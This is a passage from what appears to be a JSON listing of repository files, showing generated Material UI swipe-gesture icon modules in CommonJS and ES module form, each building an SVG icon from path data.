    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-.88-.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.89.88z\"\n}), 'SwipeDownAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-.88-.88a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.89.88z\"\n}), 'SwipeDownAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17z\"\n}), 'SwipeDownAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17z\"\n}), 'SwipeDownAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17zM15 9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}, \"1\")], 'SwipeDownAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13.9c2.28-.46 4-2.48 4-4.9 0-2.76-2.24-5-5-5S7 6.24 7 9c0 2.42 1.72 4.44 4 4.9v4.27l-1.59-1.59L8 18l4 4 4-4-1.41-1.41L13 18.17zM15 9c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}, \"1\")], 'SwipeDownAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06z\"\n}), 'SwipeDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06z\"\n}), 'SwipeDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.83 19.1c-.26-.6.09-1.28.73-1.41l3.58-.71-4.35-9.81c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49.84-.37c.28-.13.59-.18.9-.17l4.56.21c.86.04 1.6.63 1.83 1.45l1.23 4.33c.27.96-.2 1.97-1.11 2.37l-5.63 2.49c-.48.21-1.26.33-1.76.14l-5.45-2.27c-.24-.09-.44-.28-.54-.52M5.59 2.73C4.27 4.65 3.5 6.99 3.5 9.5c0 .92.1 1.82.3 2.68l-1.19-1.19c-.29-.29-.77-.32-1.07-.04-.31.29-.31.78-.02 1.08l2.26 2.26c.39.39 1.02.39 1.41 0l2.24-2.24c.29-.29.32-.77.04-1.07-.29-.31-.78-.31-1.08-.02L5.3 12.05c-.19-.81-.3-1.67-.3-2.55 0-2.2.68-4.24 1.83-5.93.2-.3.17-.7-.09-.95-.33-.34-.88-.28-1.15.11\"\n}), 'SwipeDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.83 19.1c-.26-.6.09-1.28.73-1.41l3.58-.71-4.35-9.81c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49.84-.37c.28-.13.59-.18.9-.17l4.56.21c.86.04 1.6.63 1.83 1.45l1.23 4.33c.27.96-.2 1.97-1.11 2.37l-5.63 2.49c-.48.21-1.26.33-1.76.14l-5.45-2.27c-.24-.09-.44-.28-.54-.52M5.59 2.73C4.27 4.65 3.5 6.99 3.5 9.5c0 .92.1 1.82.3 2.68l-1.19-1.19c-.29-.29-.77-.32-1.07-.04-.31.29-.31.78-.02 1.08l2.26 2.26c.39.39 1.02.39 1.41 0l2.24-2.24c.29-.29.32-.77.04-1.07-.29-.31-.78-.31-1.08-.02L5.3 12.05c-.19-.81-.3-1.67-.3-2.55 0-2.2.68-4.24 1.83-5.93.2-.3.17-.7-.09-.95-.33-.34-.88-.28-1.15.11\"\n}), 'SwipeDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06zm17.91-1 2.09 7.39-8.23 3.65-6.84-2.85.61-1.62 3.8-.75-4.35-9.83c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49 1.26-.56z\"\n}), 'SwipeDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06zm17.91-1 2.09 7.39-8.23 3.65-6.84-2.85.61-1.62 3.8-.75-4.35-9.83c-.34-.76 0-1.64.76-1.98s1.64 0 1.98.76l2.43 5.49 1.26-.56z\"\n}), 'SwipeDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.49 17.34 15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06z\"\n}, \"1\")], 'SwipeDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.49 17.34 15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.22 10-4.15.01c-.16-.01-.31.02-.45.08l-.59.26-1.83-4.1c-.56-1.26-2.04-1.83-3.3-1.27s-1.83 2.04-1.27 3.3l3.3 7.45-1.87.39c-.19.05-.99.27-1.36 1.21L8 19.19l6.78 2.67c.49.19 1.05.18 1.53-.04l5.99-2.65c.89-.4 1.37-1.38 1.13-2.32l-1.36-5.34c-.22-.86-.97-1.47-1.85-1.51m1.27 7.34L15.5 20l-4.92-1.96 4.18-.88-4.3-9.7c-.11-.25 0-.55.25-.66s.55 0 .66.25l2.5 5.65 1.61-.71 4.65.01zM3.8 12.18c-.2-.86-.3-1.76-.3-2.68 0-2.84.99-5.45 2.63-7.5L7.2 3.07C5.82 4.85 5 7.08 5 9.5c0 .88.11 1.74.32 2.56l1.62-1.62L8 11.5 4.5 15 1 11.5l1.06-1.06z\"\n}, \"1\")], 'SwipeDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.98 16.82-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L5 17.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07M12 2.5c4.74 0 7.67 2.52 8.43 4.5H22c-.73-2.88-4.51-6-10-6-3.22 0-6.18 1.13-8.5 3.02V2H2v5h5V5.5H4.09c2.12-1.86 4.88-3 7.91-3\"\n}), 'SwipeLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.98 16.82-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59L5 17.62l.83-.84c.24-.24.58-.35.92-.28l3.25.74V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.39 1.21 1.22 1.09 2.07M12 2.5c4.74 0 7.67 2.52 8.43 4.5H22c-.73-2.88-4.51-6-10-6-3.22 0-6.18 1.13-8.5 3.02V2H2v5h5V5.5H4.09c2.12-1.86 4.88-3 7.91-3\"\n}), 'SwipeLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13z\"\n}), 'SwipeLeftAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13z\"\n}), 'SwipeLeftAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13zm4.9 2c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'SwipeLeftAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13zm4.9 2c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}), 'SwipeLeftAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l.88-.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L2.71 11.3c-.39.39-.39 1.02 0 1.41L5.3 15.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.83 13z\"\n}), 'SwipeLeftAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l.88-.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L2.71 11.3c-.39.39-.39 1.02 0 1.41L5.3 15.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.83 13z\"\n}), 'SwipeLeftAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13z\"\n}), 'SwipeLeftAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13z\"\n}), 'SwipeLeftAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13zm4.9 2c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"1\")], 'SwipeLeftAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"12\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.1 13c.46 2.28 2.48 4 4.9 4 2.76 0 5-2.24 5-5s-2.24-5-5-5c-2.42 0-4.44 1.72-4.9 4H5.83l1.59-1.59L6 8l-4 4 4 4 1.41-1.41L5.83 13zm4.9 2c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"1\")], 'SwipeLeftAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM4.09 5.5H7V7H2V2h1.5v2.02C5.82 2.13 8.78 1 12 1c5.49 0 9.27 3.12 10 6h-1.57c-.76-1.98-3.69-4.5-8.43-4.5-3.03 0-5.79 1.14-7.91 3\"\n}), 'SwipeLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.89 13.77-3.8-1.67c-.13-.06-.28-.1-.44-.1H14V7.5C14 6.12 12.88 5 11.5 5S9 6.12 9 7.5v8.15l-1.87-.4c-.19-.03-1.02-.15-1.73.56L4 17.22l5.12 5.19c.37.38.88.59 1.41.59h6.55c.98 0 1.81-.7 1.97-1.67l.92-5.44c.15-.86-.29-1.72-1.08-2.12M17.08 21h-6.55l-3.7-3.78 4.17.89V7.5c0-.28.22-.5.5-.5s.5.22.5.5v6.18h1.76L18 15.56zM4.09 5.5H7V7H2V2h1.5v2.02C5.82 2.13 8.78 1 12 1c5.49 0 9.27 3.12 10 6h-1.57c-.76-1.98-3.69-4.5-8.43-4.5-3.03 0-5.79 1.14-7.91 3\"\n}), 'SwipeLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.5 4.02V2.75c0-.41-.34-.75-.75-.75S2 2.34 2 2.75V6c0 .55.45 1 1 1h3.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H4.09c2.11-1.86 4.88-3 7.91-3 4.42 0 7.27 2.19 8.25 4.1.12.25.38.4.66.4.56 0 .93-.59.67-1.08C20.3 3.39 16.81 1 12 1 8.78 1 5.82 2.13 3.5 4.02m1.7 13.41c0-.65.6-1.13 1.24-.99l3.56.8V6.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v6h.91c.31 0 .62.07.89.21l4.09 2.04c.77.38 1.21 1.22 1.09 2.07l-.63 4.46c-.14.99-.99 1.72-1.98 1.72h-6.16c-.53 0-1.29-.21-1.66-.59l-4.07-4.29c-.18-.18-.28-.43-.28-.69\"\n}), 'SwipeLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwipeLeftRounded.mjs",
